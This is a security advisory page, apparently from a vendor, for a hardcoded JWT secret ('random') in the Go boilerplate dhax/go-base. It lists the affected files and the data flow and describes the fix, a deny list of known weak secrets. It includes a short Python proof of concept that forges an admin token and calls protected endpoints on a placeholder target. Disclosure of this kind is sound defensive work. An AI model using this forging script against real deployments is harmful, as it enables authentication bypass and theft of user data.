GHSA-mqq6-462x-jxmm is a critical-severity (CVSS 9.1) Hard-coded Credentials vulnerability in github.com/dhax/go-base. O3 Security confirms whether GHSA-mqq6-462x-jxmm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-mqq6-462x-jxmm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mqq6-462x-jxmm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 368,770 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/dhax/go-baseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation
Affected Component
github.com/dhax/go-base— Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)- 1,685 stars on GitHub
Vulnerability Locations
| File | Line | Role |
|---|---|---|
dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users |
cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback |
auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key |
auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key |
pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |
Data Flow
dev.env AUTH_JWT_SECRET=random
OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
│
▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
│
▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
│
▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
│
▼
jwt/authenticator.go: Every authenticated request trusts the forged token
Description
The JWT signing secret is hardcoded to the string "random" in two independent locations:
-
dev.env:10— The template.envfile setsAUTH_JWT_SECRET=random. Every developer who copies this template gets the same default. -
cmd/serve.go:35—viper.SetDefault("auth_jwt_secret", "random")provides a programmatic fallback. Even if the.envfile is missing entirely, the application silently starts with"random"as the signing key.
The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:
- (a) Single-value check: Only the exact string
"random"was caught. Any other weak secret (e.g.,"secret","changeme", empty string) passed through unchecked. - (b) Non-persistent replacement: The auto-generated key was stored only in memory (
randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.
An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.
Proof of Concept
import jwt
import requests
# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token
payload = {
"sub": "[email protected]",
"roles": ["admin"],
"iat": 9999999000,
"exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}") # 200 OK
# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}") # Returns [email protected] profile
# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret
Impact
- Authentication Bypass: Forge tokens for any user, including admin roles
- Confidentiality: Access all user data, profiles, and protected resources
- Integrity: Modify any data accessible via the API
- Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)
Fix (PR #31)
The fix replaced the single-value check with a comprehensive approach:
// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
secret = randStringBytes(32) // non-persistent, breaks on restart
}
// AFTER — comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
"random": true,
"secret": true,
"changeme": true,
"change-me": true,
"default": true,
"": true,
}
if knownWeakSecrets[secret] {
log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}
Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.
Patched Versions
- All versions after commit range including PR#31 (merged May 17, 2026).
- Users should update to the latest master, regenerate their JWT secret, and restart.
Resources
- Fix PR: https://github.com/dhax/go-base/pull/31
- Commit history: https://github.com/dhax/go-base/commits/master
Credit
Reported by @saaa99999999 via manual security audit.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/dhax/go-base | all versions | 0.0.0-20260517152733-cc82b9740fa6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/dhax/go-base. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/dhax/go-base to 0.0.0-20260517152733-cc82b9740fa6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mqq6-462x-jxmm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mqq6-462x-jxmm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mqq6-462x-jxmm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mqq6-462x-jxmm in your dependencies?
O3 detects GHSA-mqq6-462x-jxmm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.